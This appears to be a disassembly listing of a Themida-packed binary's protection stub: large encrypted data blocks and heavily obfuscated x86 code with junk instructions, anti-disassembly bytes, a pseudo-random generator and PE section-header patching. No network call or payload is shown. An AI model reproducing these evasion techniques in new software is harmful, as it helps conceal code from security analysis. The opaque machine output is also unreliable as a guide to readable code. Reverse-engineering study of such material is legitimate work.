dd 0ABB126DDh, 0D5BEDB56h, 0E4E93256h, 38C032F3h, 0E059D551h
dd 19E037B1h, 0CF4D5289h, 57B178BFh, 0A0333D56h, 3CB13256h
dd 0EAB13250h, 801C0239h, 0FD3A643Dh, 60045252h, 1C78B330h
dd 83A530Dh, 0AA3A3D5Ah
dd 29B13256h, 3B56D7Dh, 75B1325Eh, 0AD812B59h, 0A703E55Dh
dd 57B4D9D5h, 4130B855h, 0A4443442h, 0D5B130DDh, 69D05256h
dd 7AB22229h, 0BAB172D3h, 5C333D56h, 5BB13256h, 57A3DB36h
dd 73AC3256h, 0EE1DD7DCh, 0C12EE64Fh, 0BFE3639Dh, 0A7067558h
dd 1CD06A06h, 0AEB139BFh, 3E6A4356h, 676D1F7Dh, 0F60266C1h
dd 0EAB6BE59h, 0F1BE3256h, 0BAB13257h, 0A56819AFh, 0AFB06EDFh
dd 0A809CBAEh, 0A44ECDA9h, 0D5B135DAh, 55BE5256h, 146EB9A4h
dd 0BAB137EFh, 0D0BE5256h, 0AEB13256h, 0AF1AC137h, 57ABDBAEh
dd 0B44DCDA9h, 0EAB126BFh, 9CE15456h, 0CCC1F3CAh, 342FFE63h
dd 1F6EB946h, 0B39AC8ADh, 0A658FBC9h, 67B13256h, 0A03936B3h
dd 3D8CFB48h, 47A84043h, 52B12294h, 0AEB124D1h, 57A0DB56h
dd 0D9EF3256h, 6412DE02h, 0B5DA8EA1h, 1D725BD5h, 0EFA76901h
dd 5DB13EBFh, 372BB856h, 4D1E4151h, 21A8EB8Bh, 0DA5DB93Ah
dd 0EAB133D8h, 0B132C756h, 0BB3B3DAAh, 0A8B13256h, 0AEB7BF59h
dd 6D13256h, 0CAEF650Ch, 0DAE35236h, 0E5EEC8E9h, 75B12ADFh
dd 0BAA3DA56h, 6E043256h, 0FB355CAAh, 1F178C29h, 93FF4E82h
dd 35ECB031h, 0EA59530Fh, 2FB13256h, 3D5D8D7h, 5B58344Ch
dd 44B13256h, 9E38F8A9h, 0B2303D30h, 0B5B13256h, 0EAB13DBEh
dd 0B80D3356h, 0DD2AED83h, 0DB6568D9h, 0C7F6B2Ch, 3668B90Eh
dd 0D29488DDh, 5DBE344Ch, 0EAB13251h, 75B0B859h, 89443256h
dd 5DBCDB9Fh, 0CCCD3256h, 276A20F6h, 9FC857D6h, 568D44AFh
dd 6EBE3269h, 75B13191h, 42B6B9A3h, 0B4BD47A9h, 0AEB1325Fh
dd 0FEC01651h, 5E237F5Ch, 0DDC4CDACh, 0EAB13BBFh, 0AB223F56h
dd 0E8D4394Bh, 3DE1FCE0h, 4BFD8C30h, 57B5B959h, 14D73256h
dd 0B5D0680Ah, 0EAB7BF59h, 0F9BE3256h, 0BAB13256h, 5DB3B359h
dd 0A2003256h, 5461DA37h, 0A4D13256h, 5CBEC8E1h, 0EAB13252h
dd 0FBF8830h, 7ABAC737h, 5DFCB759h, 2FD13256h, 0AD5A9EB0h
dd 780E3D7Fh, 0DA393D37h, 3B13256h, 75B1325Ch, 37C46C4Fh
dd 70A4778Dh, 0A93A09C0h, 57B0B459h, 42483256h, 0D5B13269h
dd 0EAA9BF59h, 66583256h, 1DB13256h, 0F70CAB46h, 2B7E9B4Ah
dd 0EB8CA7ACh, 6FA843Fh, 5644D0F8h, 8CD12691h, 0E90CF9D7h
dd 0DB4A8559h, 0A24E1CBFh, 0A63B3DA9h, 37B13256h, 12D730E0h
dd 5CD07A6Fh, 66BECE13h, 75B13251h, 0BAB0B959h, 0A2443256h
dd 22BE3E23h, 57B13257h, 0A3C4CDA3h, 0B586CDAFh, 0EAB3B259h
dd 0AB3A3256h, 0B9ADDA37h, 0E7D13256h, 0AD7CF006h, 2751C3D7h
dd 53D06A82h, 51BEF25Dh, 0EAB1321Dh, 75B121BFh, 0F1F19556h
dd 405EA91h, 0B770E566h, 13CD18B4h, 0AC65F34Eh, 0D5B3BCBFh
dd 0E63E3D56h, 9CB13256h, 0BAB13251h, 0E47AE1A6h, 0A188B96Ch
dd 57B124DCh, 0A6585256h, 0C2B13256h, 0A5F1B9B5h, 0DC6C9852h
dd 0D7089658h, 0D6D0CEDCh, 17D1CE13h, 4EA7F322h, 0ABB3BE59h
dd 1A3A3256h, 0E5B60B37h, 75B374D4h, 0BABFDB56h, 0A4AE3256h
dd 98A931A9h, 6503AD33h, 0BD08DDCFh, 0DA4D77A9h, 0EAB13ED3h
dd 73353D56h, 0B5B13256h, 5DB132D9h, 0D132CB56h, 0D3BE3252h
dd 0ABB13264h, 353052AFh, 825A0E21h, 75B13FBFh, 860BC856h
dd 37E5C23Bh, 0EE56483h, 0D4D02802h, 0A4B13E29h, 0D5B13FD2h
dd 0EB313D56h, 8CB13256h, 0BAB16ABFh, 0A209C756h, 474ECDA9h
dd 57B13244h, 0A5574534h, 0A78DE33Dh, 0BDE9EB0Ch, 0D6BC56DDh
dd 0BF08BFF6h, 0B4B13256h, 0AEB13250h, 2D958804h, 423879h
dd 0D5ACB759h, 64BE3256h, 75B13241h, 0BAB120BFh, 0B055D356h
dd 0EDAFB6EFh, 90B93210h, 96CBF59h, 3C2DEA49h, 154ECCFDh
dd 65CEB1A3h, 2A353D53h, 3DB13256h, 2CDB8830h, 8A38DAD7h
dd 28D03C55h, 0DAB72229h, 0EAB1BFD3h, 79383D56h, 0B5B13256h
dd 5DB134DEh, 0AE333D56h, 37B13256h, 35B030EFh, 0B5F0532Eh
dd 376B930h, 75B1325Ah, 2757664Ah, 411CD302h, 0B9FD94ACh
dd 57A0DB37h, 4A53256h, 7D6F9623h, 0A6EB95h, 25E6A5D3h
dd 31C444E6h, 0D7BE3611h, 0AEB13257h, 5BEEB9AAh, 0ABB4B159h
dd 55D13256h, 3D054B3h, 75B132CCh, 0BABFDB36h, 18163256h
dd 0AF55B7AFh, 0C2B481E0h, 0C3801F68h, 5ED0E4DDh, 61483611h
dd 9C483E09h, 0BAB13225h, 32085436h, 0E93A5324h, 443B3D52h
dd 42B13256h, 0D5B13258h, 6C696B5Ah, 0AE4AB2F0h, 19F87DEDh
dd 23A3D2Ah, 0F19ACE5Ah, 443D3D52h, 0A4B13256h, 0D5B13FD0h
dd 0EAB9DB56h, 2BB53256h, 0E317F32Ch, 0B632E934h, 0C8D1CB53h
dd 32F9F9D7h, 0E643B330h, 0AA3253C9h, 6FBE3146h, 75B13241h
dd 0BB3E3DAAh, 0A5B13256h, 0A6323D17h, 58B13256h, 0ABB130DFh
dd 0FED05256h, 0B638CA8Fh, 0CD443357h, 454ECDA9h, 5808CAAAh
dd 0CEB13256h, 57B123BFh, 60026E56h, 530CAF0Fh, 0C104F7A7h
dd 0C81693Fh, 0B459171Fh, 5CB13256h, 8F84AF77h, 49A164DFh
dd 0A7A428E1h, 92A089D3h, 8BEB129Eh, 75B6B959h, 3ABE3256h
dd 5DB13257h, 521AC1A3h, 0A84C04BFh, 0BB323DA9h, 3CB13256h
dd 0EAB1325Dh, 0CA9257h, 0A54668CEh, 3C424E91h, 0AEB6B659h
dd 58D13256h, 0B801C0E9h, 5ABEFB37h, 0EAB1325Ch, 75B137BFh
dd 0E2A6F556h, 55735523h, 0BA323D56h, 0BEB13256h, 0ABB13259h
dd 46EEC922h, 0CAFE2E06h, 97FBA621h, 0DAA57E2Bh, 5DB123BEh
dd 26124756h, 0C8A48D75h, 0E3660334h, 0E46AEBF9h, 0B0487898h
dd 0DEC0A4EFh, 53E45306h, 5DB13247h, 6FC925B1h, 888662E2h
dd 9B98F49Bh, 5882251h, 35DB9E3h, 75B13242h, 7C6ED867h
dd 2482127Dh, 0D3FB23ACh, 662114F2h, 3A02B0C3h, 0DA4DF6D5h
dd 0EAB133D6h, 1549CA56h, 0BAB0BF59h, 0D6493256h, 0A1D13A13h
dd 57B128D6h, 0ABA5DA56h, 83723256h, 0C551AFCCh, 5A00D986h
dd 5FDFC0Dh, 0D1BC5D92h, 16EF8FF9h, 570EAE5Fh, 0A7F40937h
dd 0D5EDB059h, 0E5583256h, 0CB13256h, 793C5F05h, 748FCBFAh
dd 3722C48Eh, 128A24F8h, 94363D46h, 0B5B13256h, 0EAB13FBFh
dd 0F1F12856h, 26F402E1h, 0A3DC180Bh, 45300035h, 335C9557h
dd 57F4F537h, 0D5B13256h, 0EAB121BFh, 6A965856h, 95092661h
dd 514F3E8Eh, 0F45E9672h, 2EC8B262h, 0ABB12EBFh, 9076CB56h
dd 0EAB133AAh, 7B58CB56h, 53B13256h, 5DB1325Fh, 1553229Ch
dd 0F1E7382h, 29BE538Bh, 0D5B1324Fh, 0EABADA36h, 1F583256h
dd 0ADF91DFEh, 440F9AC5h, 23BE6C27h, 57B13256h, 57F4B937h
dd 0D5BCB859h, 0E2583256h, 39B13256h, 0D8025784h, 9497FE2Bh
dd 0AEB138BFh, 3BC37456h, 0FD876961h, 17162761h, 0F858325Ah
dd 0C1B13256h, 0D30631BAh, 0FB2C6A39h, 294F9B7Bh, 4D3F1BDAh
dd 0F9D16720h, 0B4486AAEh, 0EAB139BFh, 11B87356h, 4AFBE08Dh
dd 838ED69Dh, 0BE58DEDDh, 43B13256h, 0B40490Ah, 0B6C0CC5Dh
dd 73755319h, 0F6AEED6Fh, 0A958CE92h, 83B13256h, 63B77D84h
dd 10A167D1h, 91524A4Fh, 78E8896Bh, 13D170D2h, 75B132BEh
dd 50306856h, 5BAB8DD0h, 0AEBBBC59h, 58D13256h, 0ABB132DDh
dd 0B44BB956h, 0EAB13BBFh, 0B5CE2556h, 462C7D3h, 94823AC4h
dd 0AEB13DBFh, 2BFAE556h, 0A2DC8541h, 0E336AA6Eh, 96C268Ch
dd 0FCBEE965h, 0BAB13251h, 5DB0B159h, 27493256h, 0DC44CE0Bh
dd 0B1C817ECh, 25305250h, 87B2D5B9h, 758EB137h, 0B8CBB659h
dd 5B583256h, 0CEB13256h, 2BB33A6h, 548EB1F3h, 0D58FB759h
dd 62BE3256h, 75B1325Ch, 0AE0E5436h, 6508548Ah, 69325321h
dd 57B6DB42h, 0EEE63256h
dd 1394B4FFh, 150EDB67h, 9DD1CDA9h, 0BAB1325Bh, 8253BE9Ch
dd 8605EB18h, 58F26FA1h, 4830547Fh, 0B4EEF7F7h, 0EAB54DD5h
dd 758DB659h, 37BE3256h, 5DB1325Ah, 0AEB7BC59h, 0D8BE3256h
dd 0ABB13256h, 0D5B13FBFh, 9BDF956h, 73EF4AF8h, 0A6012478h
dd 2232BFF9h, 2ABE325Ah, 57B13258h, 0CAD16536h, 0B475820Ch
dd 0EAB102BFh, 304ECA56h, 0BAB8DBAAh, 0D1263256h, 0F7666A0Fh
dd 0D4FCD1D7h, 0A7582691h, 0ECB13256h, 0E7D311ABh, 0F5AE2837h
dd 0DA2CA12Ch, 0B4D0F8E7h, 514ECD67h, 47CEB1A3h, 31353D53h
dd 3CB13256h, 0EAB13259h, 0FFE4139Fh, 9DF56B26h, 9A7D1EDFh
dd 0CE2ACB15h, 560AEBDDh, 0CA924ACDh, 0D3A14DD5h, 0EA26B759h
dd 34483256h, 0B2585236h, 0E1B13256h, 4CE2CAE1h, 3627A3BAh
dd 20D0F5DDh, 0DA493611h, 0EAB116DAh, 7E585256h, 5EB13256h
dd 0CD1C9F6Eh, 0F83583E8h, 5B59AAF3h, 81B13256h, 0CFA120E9h
dd 0EEA9238Eh, 2A56DB4Bh, 0B6EEB937h, 5DB122BFh, 0C072B556h
dd 4CA52A57h, 819CD382h, 0C4074D4Bh, 2458CE58h, 7AB13256h
dd 0BAB13ED2h, 5B3A3D56h, 0A1B13256h, 57B132D6h, 0AFF6B956h
dd 0D9EEB9AEh, 0EA1DDBAFh, 67583256h, 0BCB13256h, 8D825BC5h
dd 5D3DC3F9h, 0AA67DD86h, 349A01BCh, 0D1F6B96Eh, 0EAB13DBFh
dd 13DD656h, 3CC103D3h, 969BF958h, 7F6127E0h, 57B13FBFh
dd 75943C56h, 3B78B329h, 0ADA5460Bh, 2A3AAB3Bh, 0BAB7DB5Ah
dd 5E513256h, 8096615Dh, 0BEB56D7Dh, 0ABB13253h, 7F73B771h
dd 0EF5AB17Dh, 75B9DB36h, 767D3256h, 0DCFD431h, 2DD0C0C7h
dd 58B22229h, 0ABB107D3h, 0D93E3D56h, 0E5B13256h, 75B134DEh
dd 0BA393D56h, 1CB13256h, 0B53E3DAFh, 37B13256h, 0ABB126BFh
dd 417F0156h, 15D06AA5h, 303B0AADh, 69754138h, 0B4330909h
dd 779A5388h, 56EDBBAEh, 0ABA2DB57h, 0A6963256h, 0BE9DC319h
dd 91964B60h, 5A2D608Dh, 450DA462h, 514E8A9Fh, 0D2BECDA9h
dd 0ABB13257h, 0D5B48BAFh, 6AD13256h, 7F5946BBh, 1AB13256h
dd 120814B9h, 526E12B1h, 872B94Ch, 0A41AC137h, 0D5B133D1h
dd 9458C756h, 894ECDABh, 0B3323D37h, 3DB13256h, 0B943B3AFh
dd 36C108B8h, 0A44D77DDh, 0D5B139DEh, 0EAB7DB56h, 3FE63256h
dd 3E8D3195h, 5DBADB9Fh, 603C3256h, 0DCD4A818h, 1660A884h
dd 8549F184h, 0EAB7B159h, 13D13256h, 0DB9537E8h, 5DB7DB07h
dd 2EF33256h, 6D8E1251h, 0AB59CA05h, 8FB13256h, 280DD8D7h
dd 0F7BE344Ch, 0BAB1325Ch, 5DB137BFh, 7933A356h, 0D5BE80F5h
dd 0ABB1325Eh, 0D5B3BF59h, 8BD13256h, 7F2BBFAAh, 53B7282Ch
dd 5DB1325Ch, 4EA434B1h, 0A1575D61h, 0CF0964F7h, 3CB13256h
dd 0EAB1325Bh, 0C10F2FF5h, 0AF39A781h, 76DEC064h, 0AA20DAEDh
dd 0DC493256h, 0A7313D5Dh, 0B5B13256h, 176BB330h, 823054EFh
dd 0DAD08865h, 96063DA3h, 56700937h, 57FEDBAEh, 0A8483256h
dd 0B549361Dh, 8C7F8D59h, 6824D4D7h, 0B5700937h, 5DB151D4h
dd 0E5B2C756h, 0B9315246h, 5C0E3D2Fh, 0DA700937h, 0EAB135D4h
dd 6758C756h, 43B13256h, 5DB16BBFh, 17E15256h, 7ACAA023h
dd 0F448630Ch, 0D5F9DB37h, 66BE3256h, 75B13257h, 6C2BBFAEh
dd 0A4B72913h, 474DE1A9h, 57B13264h, 0ABA7B559h, 5CBE3256h
dd 0EAB13246h, 75B139BFh, 8D72AC56h, 5145768Eh, 0EF86108Ch
dd 1F4DA8DBh, 5449344Dh, 0D23D3D85h, 0E5B13256h, 75B133D5h
dd 0DAEACB56h, 0EE9DE6ECh, 0AA0E5426h, 0BEE85372h, 0ABB1325Ah
dd 8C572AC5h, 9D990674h, 15A3DD5Ah, 32BE520Eh, 5DB13254h
dd 17D7F1DCh, 94D02B02h, 0ABA0B959h, 0D9583256h, 16B13256h
dd 0CEFB8D44h, 8F717DEAh, 8251220h, 70063D36h, 0DCD0DCDCh
dd 0A0303DBAh, 3CB13256h, 0EAB13250h, 8A4D804Fh, 0BA59587Ah
dd 7B13256h, 6A9DD8D7h, 0D0BE344Ch, 0ABB13243h, 0D5BFDB36h
dd 50533256h, 1C19E602h, 0EA06EDCh, 0A400FF36h, 563A5237h
dd 0EFD75237h, 50BE643h, 0B4C77954h, 0E7393D36h, 9CB13256h
dd 0BAB1325Eh, 6BADBBE1h, 16338AC7h, 2DBB88DBh, 29BE344Ch
dd 0D5B1325Eh, 0EAB3BF59h, 14D13256h, 0DAB977DDh, 5DB139BFh
dd 42E3F956h, 407B67B7h, 4606A5B3h, 5266FAD7h, 1FD04AA2h
dd 0FFD135DFh, 46D15391h, 5DB121BFh, 19852D56h, 4EDAC436h
dd 35D9932h, 81C52F67h, 0B3001FE8h, 79F4B937h, 0BABBDBAFh
dd 0EA03256h, 0BD5BEF13h, 82918FA9h, 0CBB575DFh, 0D5B4B059h
dd 6BD73256h, 1387C990h, 0DB341AEFh, 0B4A177DDh, 0AEB1325Eh
dd 629D7264h, 0E180AD6Ch, 0B5BD75DFh, 0EAB120BEh, 0ABB7BC56h
dd 0F87AD44Ch, 6C6FEDA4h, 0F363862Dh, 0AEAB1966h, 1CBE640Eh
dd 0DAD06DA9h, 0EAB13CDEh, 75B8DB56h, 0C0AE3256h, 0F532A2DEh
dd 250C4758h, 0EED12613h, 0FDA44BD6h, 0C5F6BB37h, 0EAB139BFh
dd 9DC28056h, 0F81B51A0h, 7526328Dh, 19BE5237h, 9E063D80h
dd 20BEFB37h, 0D5B13240h, 0EAA1B959h, 7E583256h, 0D4B13256h
dd 30C506B8h, 6BD90CEh, 4773F187h, 20D15256h, 0D5B7DB88h
dd 0D1133256h, 0F976DD31h, 0DAD15337h, 5DB3BB59h, 0F0E23256h
dd 91D0FDDDh, 0BFAB6BD3h, 5CBE7550h, 0EAB13251h, 13D05236h
dd 4FD0CCDDh, 4AC2283Eh, 300F52FEh, 5E7331Fh, 0ABB13DBFh
dd 0BD751856h, 0E0138408h, 0F2BCB2DEh, 57424543h, 0E84E5309h
dd 0A8A52887h, 57A2BD59h, 27BE3256h, 0D5B1325Bh, 0EAB13ABFh
dd 0BCCF4356h, 5252348Bh, 8634BF10h, 0CEB725D6h, 0DD7A8D59h
dd 7B4E53B3h, 584960AEh, 0F0CA8FDCh, 72303D50h, 0B5B13256h
dd 5DB133D1h, 0FF48CB56h, 57BBDA36h, 0B4703256h, 569BE177h
dd 459B351Ch, 75B135BEh, 42051B56h, 8E0860F0h, 47D06C09h
dd 57B13247h, 3F1F1585h, 4103D345h, 1F6DB651h, 602B6CF2h
dd 4661CDDAh, 983B520Ch, 1333BF37h, 58B7282Dh, 0ABB133D3h
dd 62BEC756h, 3D13E16h, 75B13246h, 5D5BDBC0h, 0F0DDC203h
dd 46D0396Fh, 710AB612h, 0CA67B930h, 3C44EADDh, 0EAB13247h
dd 0F9AF257Bh, 0A5F096C0h, 2E04AFF7h, 51F49783h, 584D60A9h
dd 0ABB133D7h, 0E4BECB56h, 0EAB134BFh, 0E82DB756h, 0E08459D4h
dd 0A87231AAh, 8390B0DFh, 0BED13442h, 0ABB13251h, 650803BAh
dd 8CBF53EFh, 0CDA9C4D7h, 0E8D15337h, 3BEEC0DDh, 0CF2A3DEDh
dd 563E3D95h, 0FCB13256h
; =============== S U B R O U T I N E =======================================
sub_5B52B8 proc near ; CODE XREF: Themida_:005B5409p
; DATA XREF: Themida_:0054AD4Co
push ecx
clc
push edx
jg loc_5B52C2
cmc
loc_5B52C2: ; CODE XREF: sub_5B52B8+3j
call $+5
pop edx
sub edx, 61AC6E8h
jz loc_5B52E0
jns loc_5B52E0
jl $+6
loc_5B52E0: ; CODE XREF: sub_5B52B8+16j
; sub_5B52B8+1Cj
jge loc_5B52F0
jmp loc_5B52F0
; ---------------------------------------------------------------------------
db 0AAh
dd 0DA2EC2A1h
; ---------------------------------------------------------------------------
loc_5B52F0: ; CODE XREF: sub_5B52B8:loc_5B52E0j
; sub_5B52B8+2Ej
push edx
stc
jns loc_5B52FE
pusha
pusha
popa
mov cl, 7Eh
popa
loc_5B52FE: ; CODE XREF: sub_5B52B8+3Aj
mov eax, [edx+6142D21h]
stc
jo loc_5B5316
jmp loc_5B5316
; ---------------------------------------------------------------------------
retn 147Eh
; ---------------------------------------------------------------------------
db 51h
db 0E5h, 21h
; ---------------------------------------------------------------------------
loc_5B5316: ; CODE XREF: sub_5B52B8+4Dj
; sub_5B52B8+53j
mov ecx, 41C64E6Dh
jnb loc_5B5322
cmc
loc_5B5322: ; CODE XREF: sub_5B52B8+63j
mul ecx
pusha
jnb loc_5B5330
sbb ax, 2AB8h
loc_5B5330: ; CODE XREF: sub_5B52B8+6Dj
mov di, 603Eh
popa
pop edx
jmp loc_5B5348
; ---------------------------------------------------------------------------
db 92h
dd 75257F22h, 2B49C7A2h, 500A5ACDh
; ---------------------------------------------------------------------------
loc_5B5348: ; CODE XREF: sub_5B52B8+7Ej
add eax, 3039h
pusha
mov bx, 0B58Dh
mov ch, bl
popa
and eax, 7FFFFFFFh
cld
mov [edx+6142D21h], eax
cmc
pop edx
pusha
xor esi, 481E0CCEh
popa
pop ecx
stc
retn
sub_5B52B8 endp
; ---------------------------------------------------------------------------
jno loc_5B5383
jmp loc_5B5383
; ---------------------------------------------------------------------------
db 8Dh, 1Bh
db 8Fh
dd 6EB0F8CEh
db 30h, 12h, 4Bh
; ---------------------------------------------------------------------------
loc_5B5383: ; CODE XREF: Themida_:005B536Ej
; Themida_:005B5374j
; DATA XREF: ...
push ecx
pusha
jmp loc_5B539D
; ---------------------------------------------------------------------------
dw 1BE8h
dd 9A12F958h, 8E7C9491h, 4D0D9697h, 0BDE963CBh
db 7Ah
; ---------------------------------------------------------------------------
loc_5B539D: ; CODE XREF: Themida_:005B5385j
popa
push edx
pusha
call sub_5B53B5
inc ebp
movsd
jnz short loc_5B53CB
cmp bl, cl
sub al, 96h
add al, 3
iret
; ---------------------------------------------------------------------------
dd 0FEA8D33Fh
db 70h
; =============== S U B R O U T I N E =======================================
sub_5B53B5 proc near ; CODE XREF: Themida_:005B53A0p
pusha
popa
pop edi
pusha
call near ptr loc_5B53C7+1
cwde
mov edx, 0AC336552h
mov [ebx], ecx
xchg eax, ecx
loc_5B53C7: ; CODE XREF: sub_5B53B5+4p
cmp ebx, [ebx+61h]
sub_5B53B5 endp ; sp-analysis failed
popa
loc_5B53CB: ; CODE XREF: Themida_:005B53A7j
call $+5
pop edx
sub edx, 61AC7F1h
jmp loc_5B53E7
; ---------------------------------------------------------------------------
dd 0BCCBA816h, 7A9CECFFh
db 77h, 0EEh, 0C3h
; ---------------------------------------------------------------------------
loc_5B53E7: ; CODE XREF: Themida_:005B53D7j
jmp loc_5B53FC
; ---------------------------------------------------------------------------
dd 6EF82C55h, 6133A8h, 3A13B7DDh, 7C54424Dh
; ---------------------------------------------------------------------------
loc_5B53FC: ; CODE XREF: Themida_:loc_5B53E7j
pusha
mov edx, 7505BD7Bh
movsx ebx, si
popa
mov ecx, eax
cmc
call sub_5B52B8
jns loc_5B541C
jno loc_5B541C
pusha
popa
loc_5B541C: ; CODE XREF: Themida_:005B540Ej
; Themida_:005B5414j
pusha
jmp loc_5B5435
; ---------------------------------------------------------------------------
dw 0B205h
dd 98BBF630h, 249BCEB0h, 0EC226185h, 15F3BFD1h
db 0EBh
; ---------------------------------------------------------------------------
loc_5B5435: ; CODE XREF: Themida_:005B541Dj
mov si, 0DEAh
popa
xor edx, edx
stc
pusha
add dx, 8C8Ah
popa
div ecx
pusha
movzx ebx, ax
movsx eax, si
popa
mov eax, edx
jmp loc_5B5462
; ---------------------------------------------------------------------------
db 21h, 0B6h, 13h
dd 0A2D2C30Bh, 0F09435CEh
db 15h, 2Ah
; ---------------------------------------------------------------------------
loc_5B5462: ; CODE XREF: Themida_:005B5450j
pop edx
pusha
movzx edi, bx
popa
pop ecx
cmc
retn
; ---------------------------------------------------------------------------
stc
mov eax, eax
jmp loc_5B547D
; ---------------------------------------------------------------------------
db 0FFh
dd 0C0EDB50Fh, 85A17723h
; ---------------------------------------------------------------------------
pushf
loc_5B547D: ; CODE XREF: Themida_:005B546Ej
mov eax, eax
pusha
mov dl, 41h
jz loc_5B548E
add esi, 6D5D8AD4h
loc_5B548E: ; CODE XREF: Themida_:005B5482j
popa
lea eax, [ebp+61A91DDh]
pusha
jnz loc_5B549E
mov al, bl
loc_5B549E: ; CODE XREF: Themida_:005B5496j
mov ax, di
popa
call eax
stc
jmp loc_5B54B5
; ---------------------------------------------------------------------------
dw 8E8Ch
dd 83A40867h, 0A88DF01Ch
db 0E8h
; ---------------------------------------------------------------------------
loc_5B54B5: ; CODE XREF: Themida_:005B54A5j
mov ax, cx
jns loc_5B54C5
jl loc_5B54C5
cmc
loc_5B54C5: ; CODE XREF: Themida_:005B54B8j
; Themida_:005B54BEj
lea eax, [ebp+61AC6D9h]
jmp loc_5B54D5
; ---------------------------------------------------------------------------
dd 146ACD3Bh
db 2Dh
; ---------------------------------------------------------------------------
loc_5B54D5: ; CODE XREF: Themida_:005B54CBj
mov [ebp+614216Dh], eax
jmp loc_5B54ED
; ---------------------------------------------------------------------------
dd 5F7E8F4Bh, 0BF98C03Ch, 53D65D30h
db 0C0h
; ---------------------------------------------------------------------------
loc_5B54ED: ; CODE XREF: Themida_:005B54DBj
lea eax, [ebp+61AC7A4h]
stc
mov [ebp+6142C25h], eax
stc
mov eax, 0
jb loc_5B5517
jmp loc_5B5517
; ---------------------------------------------------------------------------
db 0F0h
dd 68F091BEh, 74699AFAh
db 80h, 0B9h, 11h
; ---------------------------------------------------------------------------
loc_5B5517: ; CODE XREF: Themida_:005B5500j
; Themida_:005B5506j
or eax, eax
jz loc_5B5672
clc
mov byte ptr [ebp+6141A59h], 56h
pusha
popa
push 0A9C530DFh
pusha
sub bx, 97Ah
sbb ecx, 42B84CF0h
popa
push dword ptr [ebp+6141AD1h]
jb near ptr loc_5B555D+4
pusha
js $+6
call near ptr loc_5B555D+2
pop eax
db 65h
inc ecx
into
pop edx
dec ebp
bound eax, [edi]
jb short loc_5B5580
loc_5B555D: ; CODE XREF: Themida_:005B554Ep
; Themida_:005B5541j
imul esp, [ebx-7A729EA5h], 61780DBh
jmp loc_5B557D
; ---------------------------------------------------------------------------
dd 0F51E9EBBh, 9A2E821Eh, 44357E45h, 0A24008F3h
db 24h
; ---------------------------------------------------------------------------
loc_5B557D: ; CODE XREF: Themida_:005B5567j
call eax
pusha
loc_5B5580: ; CODE XREF: Themida_:005B555Bj
mov cl, 0CFh
add edi, 25E2942Ah
popa
push eax
jmp loc_5B55A2
; ---------------------------------------------------------------------------
db 6Fh
dd 0E9653017h, 192DD69Fh, 64601586h, 53FFC980h
db 5Bh, 0E2h
; ---------------------------------------------------------------------------
loc_5B55A2: ; CODE XREF: Themida_:005B558Aj
jo loc_5B55B4
jle loc_5B55B4
jg $+6
loc_5B55B4: ; CODE XREF: Themida_:loc_5B55A2j
; Themida_:005B55A8j
lea ecx, [ebp+6140095h]
pusha
mov bx, 0B3D9h
mov ax, 0F5AAh
popa
push ecx
js loc_5B55D0
pusha
mov si, bx
popa
loc_5B55D0: ; CODE XREF: Themida_:005B55C5j
jo loc_5B55E2
pusha
mov di, 0Ch
adc eax, 3AE48508h
popa
loc_5B55E2: ; CODE XREF: Themida_:loc_5B55D0j
push 4
pusha
movsx edx, di
push ebx
stc
pop esi
popa
push 1000h
pusha
mov di, 0AE92h
push esi
pusha
popa
pop eax
popa
push dword ptr [ebp+61424F9h]
jo loc_5B5608
cmc
loc_5B5608: ; CODE XREF: Themida_:005B5601j
call eax
jmp loc_5B561F
; ---------------------------------------------------------------------------
db 11h
; ---------------------------------------------------------------------------
cdq
mov word ptr [ebx-470C8BEEh], ds
test [edi+4Dh], ch
and eax, 1AC4CC5Bh
loc_5B561F: ; CODE XREF: Themida_:005B560Aj
mov edi, [ebp+61424F9h]
jmp loc_5B5633
; ---------------------------------------------------------------------------
dw 9B32h
; ---------------------------------------------------------------------------
dec eax
xor eax, [ecx]
jmp short loc_5B5661
; ---------------------------------------------------------------------------
db 0E9h, 0BCh
; ---------------------------------------------------------------------------
loc_5B5633: ; CODE XREF: Themida_:005B5625j
jmp loc_5B5649
; ---------------------------------------------------------------------------
dd 7FA13104h, 0F9B8EE6Ah, 0F6409CB2h, 0DE6040Bh
; ---------------------------------------------------------------------------
popf
loc_5B5649: ; CODE XREF: Themida_:loc_5B5633j
add edi, [edi+3Ch]
jp loc_5B5653
cld
loc_5B5653: ; CODE XREF: Themida_:005B564Cj
add edi, 0F8h
jmp loc_5B566A
; ---------------------------------------------------------------------------
sub al, 0E2h
aas
loc_5B5661: ; CODE XREF: Themida_:005B562Fj
int 3 ; Trap to Debugger
push 778C3536h
loopne near ptr loc_5B56DD+5
; ---------------------------------------------------------------------------
db 19h
; ---------------------------------------------------------------------------
loc_5B566A: ; CODE XREF: Themida_:005B5659j
mov dword ptr [edi+24h], 60000020h
clc
loc_5B5672: ; CODE XREF: Themida_:005B5519j
lea ebx, [ebp+6141135h]
jnp loc_5B5683
pusha
push edi
pop ebx
clc
popa
loc_5B5683: ; CODE XREF: Themida_:005B5678j
mov eax, [ebx]
jp loc_5B568C
cld
loc_5B568C: ; CODE XREF: Themida_:005B5685j
or eax, eax
jz loc_5B56D8
jmp loc_5B56AA
; ---------------------------------------------------------------------------
db 0D5h, 8, 2
dd 3087F21Ah, 9690F5h, 3A3C5938h
db 30h, 8Eh
; ---------------------------------------------------------------------------
loc_5B56AA: ; CODE XREF: Themida_:005B5694j
mov eax, [eax]
jmp loc_5B56BD
; ---------------------------------------------------------------------------
db 0CFh, 93h, 80h
dd 4F5AC06Eh, 0F83BEDFEh
; ---------------------------------------------------------------------------
xchg eax, edi
loc_5B56BD: ; CODE XREF: Themida_:005B56ACj
mov [ebx+4], eax
jg loc_5B56D8
jmp loc_5B56D8
; ---------------------------------------------------------------------------
db 99h
dd 0E27CC865h, 8ABC08EFh, 0CEE74DD1h
; ---------------------------------------------------------------------------
loc_5B56D8: ; CODE XREF: Themida_:005B568Ej
; Themida_:005B56C0j ...
mov ecx, 234CF6h
loc_5B56DD: ; CODE XREF: Themida_:005B5667j
lea ecx, [ebp+61ACBDCh]
mov esi, [ebp+6143445h]
mov [ebp+6143229h], ecx
push 0
push ecx
call sub_5B56FA
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B56FA proc near ; CODE XREF: Themida_:005B56F2p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 14h
inc ecx
push ecx
retn
sub_5B56FA endp
; ---------------------------------------------------------------------------
push ds
mov esi, [ebp+6142B4Dh]
mov dword ptr [ebp+614064Dh], 658Ch
push 0
push edx
call sub_5B5726
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
